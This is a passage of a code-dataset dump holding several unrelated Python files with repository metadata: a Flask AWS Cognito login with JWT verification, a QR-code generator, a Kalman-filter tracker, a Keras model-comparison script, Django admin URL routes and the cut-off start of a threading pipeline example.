request.\n'''\nimport os\nimport urllib\nimport hashlib\nfrom flask import render_template, redirect,url_for,request, Blueprint,session, flash, abort, make_response\nfrom flask import current_app as app\nfrom auth.helper import Req\nfrom auth.models import set_access_cookies,jwt_required,jwt_manager,get_jwt_identity\nfrom jose import jwk, jwt\nfrom jose.utils import base64url_decode\nimport logging\n\n# Create or get the logger\nlogger = logging.getLogger(__name__)\n\n#configure Blueprint\nlogin_bp = Blueprint('login_bp',__name__,template_folder = 'templates',static_folder = 'static')\nservice = app.config\n\n\n@login_bp.route('/')\ndef login():\n '''\n Entry point of the application\n '''\n state = hashlib.sha256(os.urandom(1024)).hexdigest()\n session['state'] = state\n params = {\"client_id\": service['CLIENT_ID'],\n\t\t\t \"response_type\": \"code\",\n\t\t\t \"state\": state,\n\t\t\t \"redirect_uri\": service['REDIRECT_URI'] }\n url = service['LOGIN_URL'] + urllib.parse.urlencode(params)\n return redirect(url)\n\n\n@login_bp.route('/callback')\ndef callback():\n '''\n The following function extract the code from the redirect url and request for id token\n '''\n if request.args.get('state', '') != session['state']:\n flash('Invalid state value.')\n abort(409)\n params = {\n 'grant_type':'authorization_code',\n 'code':request.args.get('code'),\n 'redirect_uri':service['REDIRECT_URI'],\n 'client_id': service['CLIENT_ID'],\n 'scope': 'open_id email'\n }\n payload = Req.get_token(params,service['CLIENT_AUTH'],service['TOKEN_URL'])\n if payload.status_code == 200:\n url = url_for('login_bp.homepage')\n resp = make_response(redirect(url))\n set_access_cookies(resp, payload.json()[\"access_token\"])\n return resp\n flash('Cannot verify user identity')\n logger.debug(payload.text)\n abort(payload.status_code)\n\n\n@login_bp.route('/homepage')\n@jwt_required\ndef homepage():\n '''\n This is a function to test the functionality of a authenticated endpoint\n '''\n url = service['USER_INFO_ENDPOINT']\n token = request.cookies.get('access_token_cookie')\n result = Req.auth_post(url,token)\n if result.status_code != 200:\n logger.debug(result.text)\n abort(result.status_code)\n session['username'] = result.json()['email']\n return render_template('homepage.html',email = session['username'])\n\n\ndef get_token():\n '''\n The following method will retrieve the token from stored cookie\n '''\n token = request.cookies.get('access_token_cookie')\n if not token:\n logger.debug(\"Cannot retrieve token from the cookies. {0}\".format(list(request.cookies.keys())))\n abort(500)\n return token\n\n\ndef compare_kid(jwks,token):\n '''\n The following method will compare the current kid from header and match it\n with the public key kid and key signature\n '''\n headers = jwt.get_unverified_headers(token)\n if 'kid' in headers:\n kid = headers['kid']\n key_index = -1\n for i in range(len(jwks)):\n if jwks[i]['kid'] == kid:\n key_index = i\n break\n if key_index == -1:#couldnt match the kid\n logger.debug(\"jwks variable: {0}\".format(jwks))\n raise abort(500,\"Cannot find KID from {0}\".format(service['PUBLIC_KEY_URL']))\n return key_index\n else:\n logger.debug(\"Current Heade value: {0}\".format(headers))\n return -1\n\ndef compare_sig(key,token):\n '''\n The following method will compare key signature\n '''\n message, encoded_signature = str(token).rsplit('.', 1)# decode the signature\n decoded_signature = base64url_decode(encoded_signature.encode('utf-8'))# verify the signature\n if not key.verify(message.encode(\"utf8\"), decoded_signature):\n raise abort(400,\"Signature mismatch\".format(service['PUBLIC_KEY_URL']))\n return True\n\n@jwt_manager.decode_key_loader\ndef updated_decode_handler(id_token):\n '''\n Reference: https://github.com/awslabs/aws-support-tools/blob/master/Cognito/decode-verify-jwt/decode-verify-jwt.py\n To verify the authentication using RS256 algorithm and cognito public key.\n '''\n jwks = service['JWT_PUBLIC_KEY']\n if not jwks:\n raise abort(500,\"Public key unavailable at {0}\".format(service['PUBLIC_KEY_URL']))\n token = get_token()\n kid_loc = compare_kid(jwks,token)\n if kid_loc > -1:\n key = jwk.construct(jwks[kid_loc])\n if compare_sig(key,token):\n return key.to_pem()\n else:\n abort(400)\n logger.error(\"SIG failed to verify\")\n else:\n abort(400)\n logger.error(\"KID failed to verify\")\n\n\n@jwt_manager.expired_token_loader\ndef expired_token_callback(callback):\n '''\n Method to handle expired_token\n '''\n flash('Token Expired. Please Login again')\n resp = make_response(redirect(url_for('homepage_bp.homepage')))\n unset_access_cookies(resp)\n return resp\n\n\n@jwt_manager.unauthorized_loader\ndef invalid_token_callback(expired_token):\n '''\n Method to handle invalid token\n '''\n flash('Missing Token. Please Login again')\n resp = make_response(redirect(url_for('homepage_bp.homepage')))\n return resp\n", "repo_name": "gehlotj/AWS_Cognito_Auth", "sub_path": "auth/login/login.py", "file_name": "login.py", "file_ext": "py", "file_size_in_byte": 5333, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.Blueprint", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.current_app.config", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 20, "usage_type": "name"}, {"api_name": "hashlib.sha256", "line_number": 28, "usage_type": "call"}, {"api_name": "os.urandom", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 29, "usage_type": "name"}, {"api_name": "urllib.parse.urlencode", "line_number": 34, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.redirect", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 43, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 43, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 48, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 48, "usage_type": "name"}, {"api_name": "auth.helper.Req.get_token", "line_number": 53, "usage_type": "call"}, {"api_name": "auth.helper.Req", "line_number": 53, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 55, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 56, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 56, "usage_type": "call"}, {"api_name": "auth.models.set_access_cookies", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 59, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 61, "usage_type": "call"}, {"api_name": "flask.request.cookies.get", "line_number": 71, "usage_type": "call"}, {"api_name": "flask.request.cookies", "line_number": 71, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 71, "usage_type": "name"}, {"api_name": "auth.helper.Req.auth_post", "line_number": 72, "usage_type": "call"}, {"api_name": "auth.helper.Req", "line_number": 72, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 75, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 76, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 77, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 77, "usage_type": "name"}, {"api_name": "auth.models.jwt_required", "line_number": 65, "usage_type": "name"}, {"api_name": "flask.request.cookies.get", "line_number": 84, "usage_type": "call"}, {"api_name": "flask.request.cookies", "line_number": 84, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 84, "usage_type": "name"}, {"api_name": "flask.request.cookies.keys", "line_number": 86, "usage_type": "call"}, {"api_name": "flask.request.cookies", "line_number": 86, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 86, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 87, "usage_type": "call"}, {"api_name": "jose.jwt.get_unverified_headers", "line_number": 96, "usage_type": "call"}, {"api_name": "jose.jwt", "line_number": 96, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 106, "usage_type": "call"}, {"api_name": "jose.utils.base64url_decode", "line_number": 117, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 119, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 130, "usage_type": "call"}, {"api_name": "jose.jwk.construct", "line_number": 134, "usage_type": "call"}, {"api_name": "jose.jwk", "line_number": 134, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 138, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 141, "usage_type": "call"}, {"api_name": "auth.models.jwt_manager.decode_key_loader", "line_number": 122, "usage_type": "attribute"}, {"api_name": "auth.models.jwt_manager", "line_number": 122, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 150, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 151, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 151, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 151, "usage_type": "call"}, {"api_name": "auth.models.jwt_manager.expired_token_loader", "line_number": 145, "usage_type": "attribute"}, {"api_name": "auth.models.jwt_manager", "line_number": 145, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 161, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 162, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 162, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 162, "usage_type": "call"}, {"api_name": "auth.models.jwt_manager.unauthorized_loader", "line_number": 156, "usage_type": "attribute"}, {"api_name": "auth.models.jwt_manager", "line_number": 156, "usage_type": "name"}]} {"seq_id": "4450574488", "text": "# # You can visit https://pypi.org/project/qrcode/#description\n# # For checking the documentation\n\nimport qrcode\nqr = qrcode.QRCode(\n version=1,\n error_correction=qrcode.constants.ERROR_CORRECT_L,\n box_size=10,\n border=4,\n )\nad=input(\"Enter what you wanted to get in QR code scan\")\nqr.add_data(ad)\nqr.make(fit=True)\nkd=qr.make_image(fill_color=\"black\", back_color=\"white\")\nkd.save(\"Generated Qr_code.png\")\n", "repo_name": "Kd-Here/CS-50_2021", "sub_path": "Python/QRcodegenerator.py", "file_name": "QRcodegenerator.py", "file_ext": "py", "file_size_in_byte": 439, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "qrcode.QRCode", "line_number": 5, "usage_type": "call"}, {"api_name": "qrcode.constants", "line_number": 7, "usage_type": "attribute"}]} {"seq_id": "4966626837", "text": "\"\"\" A track that is following a constant velocity model \"\"\"\n\nimport numpy as np\nfrom collections import namedtuple\n\nfrom utils import greedy_similarity_match\n\nPositionData = namedtuple('PositionData', ['x', 'y', 'frame', 'observed'])\n\ndef clamp(n, smallest, largest): return max(smallest, min(n, largest))\n\nclass Track:\n def __init__(self, start_frame=None, x=None, y=None, dx=0, dy=0, fps=30, feature=None):\n # State space model\n # x = Fx + bu\n # y = Hx + du\n self.fps = fps\n self.dt = 1.0/fps\n\n self.x = np.matrix([[x], [dx], [y], [dy]], dtype=float)\n\n self.F = np.eye(4, dtype=float) # F = 1 dt 0 0\n self.F[0, 1] = self.dt # 0 1 0 0\n self.F[2, 3] = self.dt # 0 0 1 dt\n # 0 0 0 1\n #\n self.H = np.matrix([[1,0,0,0], # H = 1 0 0 0\n [0,0,1,0]]) # 0 0 1 0\n\n # A priori covariance\n self.P = np.asmatrix(np.diag([16, 10000, 16, 10000]), dtype=float)\n self.Q = np.asmatrix(np.diag([16, 10000, 16, 10000]), dtype=float)\n self.R = np.asmatrix(np.diag([4, 4]), dtype=float)\n\n # Feature used for distance calculation\n self.feature = feature\n\n self.current_frame = self.start_frame = start_frame\n self.state_history = []\n self.score = 1\n\n def update_feature(self, feature = None):\n if feature: self.feature = feature\n self.feature.position = (self.x[0,0], self.x[2,0])\n\n def measurement_update(self, position):\n # Kalman filter measurement update\n z = np.matrix([[position[0]],[position[1]]], dtype=float)\n x = self.x; F = self.F; H = self.H; P = self.P; R = self.R\n\n y = z - H*x\n S = R + H*P*H.transpose()\n K = P*H.transpose()*np.linalg.inv(S)\n\n I = np.eye(4, dtype=float)\n self.x = x + K*y\n self.P = (I - K*H)*P\n\n def predict(self):\n x = self.x; F = self.F; P = self.P; Q = self.Q\n\n self.x = F*x\n self.P = F*P*F.transpose() + Q\n\n self.current_frame += 1\n\n def save_state_to_history(self, was_observation):\n position = self.x[0, 0], self.x[2, 0]\n self.state_history.append(\n PositionData(x=position[0], y=position[1], frame=self.current_frame, observed=was_observation))\n\n\n\ndef points_to_tracks(detections, dist_fun, similarity_threshold=10000):\n tracks = []\n# Run Kalman filter\n for frame, new_detections in enumerate(detections):\n # Prediction \n for track in tracks:\n track.predict()\n track.update_feature()\n\n # If tracks is empty, create new track for each detection\n tracked_detections = [t.feature for t in tracks]\n detection_scores = [t.score for t in tracks]\n match_list = match(detection_scores, tracked_detections, new_detections, dist_fun, similarity_threshold)\n\n for track_index, detection_index in match_list:\n tracks[track_index].measurement_update(new_detections[detection_index].position)\n tracks[track_index].update_feature(new_detections[detection_index])\n\n # TODO(rolf): make this readable\n not_found = list(set(range(0, len(tracks))) - set([t[0] for t in match_list]))\n new_tracks = list(set(range(0, len(new_detections))) - set([t[1] for t in match_list]))\n\n # Update score for tracks\n for track_index, track in enumerate(tracks):\n if track_index in not_found:\n track.score -= 1\n was_observation = False\n else:\n track.score += 1\n was_observation = True\n # TODO: Clamp score, this is tweakable\n track.score = clamp(track.score, -2, 8)\n\n # Only save state if score is sufficient\n if track.score > 0:\n track.save_state_to_history(was_observation)\n # TODO(rolf): Kill track when the score is too low?\n\n # Add new tracks\n for new in new_tracks:\n x, y = new_detections[new].position\n tracks.append(Track(start_frame=frame, x=x, y=y, feature=new_detections[new]))\n tracks[-1].save_state_to_history(was_observation=True)\n\n not_too_short_tracks = list(filter(lambda track: len(track.state_history) > track.fps, tracks))\n\n return not_too_short_tracks\n\n\ndef match(track_scores, tracks, detections, dist_fun, similarity_threshold):\n # Create similarity matrix\n sim_mat = np.zeros((len(tracks), len(detections)))\n for i, e1 in enumerate(tracks):\n for j, e2 in enumerate(detections):\n # If score is invalid, set dist to 'inf' to not match\n if track_scores[i] <= 0:\n sim_mat[i, j] = 10**9\n else:\n sim_mat[i, j] = dist_fun(e1, e2)\n\n return greedy_similarity_match(sim_mat, similarity_threshold)\n\n", "repo_name": "gait-cdio/gait", "sub_path": "tracker.py", "file_name": "tracker.py", "file_ext": "py", "file_size_in_byte": 4962, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.namedtuple", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.asmatrix", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.diag", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.asmatrix", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.diag", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.asmatrix", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.diag", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 53, "usage_type": "attribute"}, {"api_name": "numpy.eye", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 125, "usage_type": "call"}, {"api_name": "utils.greedy_similarity_match", "line_number": 134, "usage_type": "call"}]} {"seq_id": "20445338848", "text": "\"\"\"Contains plotting functions for comparing model performances.\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport pandas as pd\n\n\ndef plot_history(history, ax=None):\n if ax is None:\n _, ax = plt.subplots()\n\n pd.DataFrame(history).plot(ax=ax)\n ax.set_ylabel(\"Loss\")\n ax.set_xlabel(\"Epochs\")\n\n return ax\n\n\ndef fit_and_plot_val_accuracy(models: list[tf.keras.Model],\n model_names: list[str],\n fit_kwargs: dict(),\n ax=None,\n filename=None):\n if ax is None:\n _, ax = plt.subplots()\n\n for model, model_name in zip(models, model_names):\n results = model.fit(**fit_kwargs)\n ax.plot(results.history[\"val_accuracy\"], label=model_name)\n print(f\"Best accuracy of {model_name} : \"\n f\"{np.max(results.history['val_accuracy'])}\")\n ax.set_ylabel(\"Accuracy\")\n ax.set_xlabel(\"Epochs\")\n ax.legend()\n\n if filename is not None:\n plt.savefig(plot_utils.make_figs_path(filename))\n\n return ax\n\n\nif __name__ == \"__main__\":\n from sklearn.model_selection import train_test_split\n from sklearn.preprocessing import StandardScaler, MinMaxScaler\n\n import plot_utils\n\n import context\n from sknotlearn.datasets import load_MNIST, load_CIFAR10, load_EPL\n from tensorno.bob import build_LWTA_classifier, build_FFNN_classifier\n from tensorno.utils import count_parameters\n\n # x_train, y_train, x_test, y_test = load_MNIST()\n\n x_train, y_train, x_test, y_test = load_CIFAR10()\n\n # Flattening image arrays.\n x_train = x_train.reshape((x_train.shape[0], np.prod(x_train.shape[1:])))\n x_test = x_test.reshape((x_test.shape[0], np.prod(x_test.shape[1:])))\n\n # dataset = load_EPL(encoded=True)\n # y = dataset.y.to_numpy()\n # labels = np.array([\"w\", \"d\", \"l\"])\n # y = np.array([np.where(y_ == range(len(labels)), 1, 0) for y_ in y],\n # dtype=int)\n # x = dataset.x\n # x = x.astype(float)\n # x_train, x_test, y_train, y_test = train_test_split(x, y,\n # train_size=5/6,\n # shuffle=False)\n\n # Scaling data\n scaler = StandardScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n\n \"\"\"Saving some good models in a bad way...\"\"\"\n # Maxout on CIFAR10 data\n model1 = build_LWTA_classifier( # CIFAR10\n num_layers=3,\n units=[64, 32, 64],\n num_groups=[32, 16, 8],\n num_features=x_train.shape[-1],\n num_categories=y_train.shape[-1],\n Layer=\"max_out\",\n )\n model2 = build_LWTA_classifier( # CIFAR10_l2\n num_layers=2,\n units=[64, 32],\n num_groups=[32, 32],\n num_features=x_train.shape[-1],\n num_categories=y_train.shape[-1],\n lmbda=1e-4,\n Layer=\"max_out\",\n )\n model3 = build_LWTA_classifier( # CIFAR10_do\n num_layers=2,\n units=[64, 64],\n num_groups=[32, 16],\n num_features=x_train.shape[-1],\n num_categories=y_train.shape[-1],\n dropout_rate=0.1,\n Layer=\"max_out\",\n )\n model4 = build_LWTA_classifier( # CIFAR10_do_l2\n num_layers=2,\n units=[32, 64],\n num_groups=[16, 16],\n num_features=x_train.shape[-1],\n num_categories=y_train.shape[-1],\n dropout_rate=0.1,\n lmbda=1e-4,\n Layer=\"max_out\",\n )\n\n # Channel-out on CIFAR-10 data\n model1 = build_LWTA_classifier( # CIFAR10\n num_layers=3,\n units=[64, 16, 32],\n num_groups=[16, 8, 32],\n num_features=x_train.shape[-1],\n num_categories=y_train.shape[-1],\n Layer=\"channel_out\",\n )\n model2 = build_LWTA_classifier( # CIFAR10_l2\n num_layers=3,\n units=[64, 16, 64],\n num_groups=[32, 16, 32],\n num_features=x_train.shape[-1],\n num_categories=y_train.shape[-1],\n lmbda=1e-4,\n Layer=\"channel_out\",\n )\n model3 = build_LWTA_classifier( # CIFAR10_do\n num_layers=3,\n units=[32, 16, 64],\n num_groups=[16, 16, 32],\n num_features=x_train.shape[-1],\n num_categories=y_train.shape[-1],\n dropout_rate=0.1,\n Layer=\"channel_out\",\n )\n model4 = build_LWTA_classifier( # CIFAR10_dp_l2\n num_layers=2,\n units=[32, 64],\n num_groups=[16, 32],\n num_features=x_train.shape[-1],\n num_categories=y_train.shape[-1],\n dropout_rate=0.5,\n lmbda=1e-4,\n Layer=\"channel_out\",\n )\n\n # LWTA on EPL data\n model1 = build_LWTA_classifier( # EPL\n num_layers=2,\n units=[8, 16],\n num_groups=[8, 8],\n num_features=x_train.shape[-1],\n num_categories=y_train.shape[-1],\n Layer=\"max_out\",\n )\n model2 = build_LWTA_classifier( # EPL_do_l2\n num_layers=2,\n units=[16, 64],\n num_groups=[8, 32],\n num_features=x_train.shape[-1],\n num_categories=y_train.shape[-1],\n dropout_rate=0.25,\n lmbda=1e-4,\n Layer=\"max_out\",\n )\n model3 = build_LWTA_classifier( # EPL\n num_layers=4,\n units=[8, 64, 16, 64],\n num_groups=[8, 32, 16, 32],\n num_features=x_train.shape[-1],\n num_categories=y_train.shape[-1],\n Layer=\"channel_out\",\n )\n model4 = build_LWTA_classifier( # EPL_dp_l2\n num_layers=2,\n units=[8, 64],\n num_groups=[8, 32],\n num_features=x_train.shape[-1],\n num_categories=y_train.shape[-1],\n dropout_rate=0.25,\n lmbda=1e-4,\n Layer=\"channel_out\",\n )\n\n early_stopper = tf.keras.callbacks.EarlyStopping(monitor=\"val_loss\",\n patience=30,\n verbose=1,\n restore_best_weights=True)\n\n fit_and_plot_val_accuracy(\n models=[model1, model2, model3, model4],\n # model_names=[r\"channelout\", r\"channelout w/ L2\",\n # r\"channelout w/ DO\", r\"channelout w/ DO \\& L2\"],\n model_names=[r\"maxout\", r\"maxout w/ DO \\& L2\",\n r\"channelout\", r\"channelout w/ DO \\& L2\"],\n fit_kwargs=dict(\n x=x_train,\n y=y_train,\n epochs=300,\n validation_data=(x_test, y_test),\n callbacks=[early_stopper]\n ),\n filename=\"best_models_EPL\"\n )\n plt.show()\n\n \"\"\"\n results = model2.fit(\n x_train, y_train,\n epochs=300,\n validation_data=(x_test, y_test),\n callbacks=[early_stopper]\n )\n\n model2.evaluate(x_test, y_test)\n print(f\"Number of parameters in network: {count_parameters(model2)}\")\n\n history = {\n \"train accuracy NN\": results.history[\"accuracy\"],\n \"test accuracy NN\": results.history[\"val_accuracy\"]\n }\n _, ax = plt.subplots()\n ax = plot_history(history, ax=ax)\n\n ###\n # Ordinary Network\n ###\n model = build_FFNN_classifier( # Dense model\n num_layers=2,\n units=[16, 16],\n num_features=x_train.shape[-1],\n num_categories=y_train.shape[-1],\n lmbda=1e-4,\n activation=\"ReLU\",\n )\n\n results = model.fit(\n x_train, y_train,\n epochs=300,\n validation_data=(x_test, y_test),\n callbacks=[early_stopper, ]\n )\n\n model.evaluate(x_test, y_test)\n print(f\"Number of parameters in network: {count_parameters(model)}\")\n\n history = {\n \"train accuracy NN\": results.history[\"accuracy\"],\n \"test accuracy NN\": results.history[\"val_accuracy\"]\n }\n plot_history(history)\n\n plt.show()\n \"\"\"\n", "repo_name": "hkve/FYS-STK4155", "sub_path": "Project3/src/analysis/model_analysis.py", "file_name": "model_analysis.py", "file_ext": "py", "file_size_in_byte": 7788, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.pyplot.subplots", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 12, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 19, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "numpy.max", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "sknotlearn.datasets.load_CIFAR10", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 59, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 73, "usage_type": "call"}, {"api_name": "tensorno.bob.build_LWTA_classifier", "line_number": 79, "usage_type": "call"}, {"api_name": "tensorno.bob.build_LWTA_classifier", "line_number": 87, "usage_type": "call"}, {"api_name": "tensorno.bob.build_LWTA_classifier", "line_number": 96, "usage_type": "call"}, {"api_name": "tensorno.bob.build_LWTA_classifier", "line_number": 105, "usage_type": "call"}, {"api_name": "tensorno.bob.build_LWTA_classifier", "line_number": 117, "usage_type": "call"}, {"api_name": "tensorno.bob.build_LWTA_classifier", "line_number": 125, "usage_type": "call"}, {"api_name": "tensorno.bob.build_LWTA_classifier", "line_number": 134, "usage_type": "call"}, {"api_name": "tensorno.bob.build_LWTA_classifier", "line_number": 143, "usage_type": "call"}, {"api_name": "tensorno.bob.build_LWTA_classifier", "line_number": 155, "usage_type": "call"}, {"api_name": "tensorno.bob.build_LWTA_classifier", "line_number": 163, "usage_type": "call"}, {"api_name": "tensorno.bob.build_LWTA_classifier", "line_number": 173, "usage_type": "call"}, {"api_name": "tensorno.bob.build_LWTA_classifier", "line_number": 181, "usage_type": "call"}, {"api_name": "tensorflow.keras.callbacks.EarlyStopping", "line_number": 192, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 192, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 212, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 212, "usage_type": "name"}]} {"seq_id": "2542681282", "text": "# -*- coding:utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.contrib.auth.decorators import login_required\nfrom django.conf.urls import url,include\n\nfrom .views import *\n\nurlpatterns = [\n url(r'^api/', include('myadmin.api.urls')),\n url(r'^$', login_required(IndexView.as_view()) ,name='my_admin_index'),\n url(r'^category', login_required(CategoryManage.as_view()), name='category.manage'),\n url(r'^tag', login_required(TagManage.as_view()),name='tag.manage'),\n url(r'^dict/', login_required(DictManage.as_view()), name='dict.manage'),\n url(r'^post/', login_required(PostManange.as_view()), name='post.manage'),\n # url(r'^post/upload/$', editormd_upload, name='edit-editormd-upload'),\n url(r'^comment/', login_required(CommentManage.as_view()), name='comment.manage'),\n url(r'^message/', login_required(MessageManage.as_view()), name='message.manage'),\n url(r'^accesscontrol/', login_required(AccessControlManage.as_view()), name='accesscontrol.manage'),\n url(r'^backupdownload/$', login_required(BackupDownloadManage.as_view()), name='backupdownload.manage'),\n url(r'^backupdownload/(?P.+?)/', login_required(backup_download), name='backupdownload.download'),\n url(r'^paperdb/paper/$', login_required(PaperdbPaperManage.as_view()), name='paperdb.manage'),\n url(r'^paperdb/comment/$', login_required(PaperdbCommentManage.as_view()), name='paperdb.comment.manage'),\n url(r'^paperdb/tag/$', login_required(PaperdbTagManage.as_view()), name='paperdb.tag.manage'),\n url(r'^paperdb/author/$', login_required(PaperdbAuthorManage.as_view()), name='paperdb.author.manage'),\n url(r'^wyzcoup/coup/$', login_required(WyzcoupCoupManage.as_view()), name='wyzcoup.coup.manage')\n]", "repo_name": "ftakanashi/FTKBlog", "sub_path": "myadmin/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1734, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 16, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 17, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 18, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 18, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 19, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 19, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 20, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 20, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 21, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 21, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 22, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 22, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 23, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 23, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 24, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 24, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 25, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 25, "usage_type": "call"}]} {"seq_id": "41172732889", "text": "\"\"\"\r\nThings to Remember\r\nPipelines are a great way to organize sequences of work that run concurrently using multiple Python threads.\r\nBe aware of the many problems in building concurrent pipelines: busy waiting, stopping workers, and memory explosion.\r\nThe Queue class has all of the facilities you need to build robust pipelines: blocking operations, buffer sizes, and joining.\r\n\"\"\"\r\n\r\nfrom collections import deque\r\nfrom threading import Thread, Lock\r\nfrom time import sleep\r\nimport time\r\n\r\nclass MyQueue(object):\r\n def __init__(self):\r\n self.items = deque()\r\n self.lock = 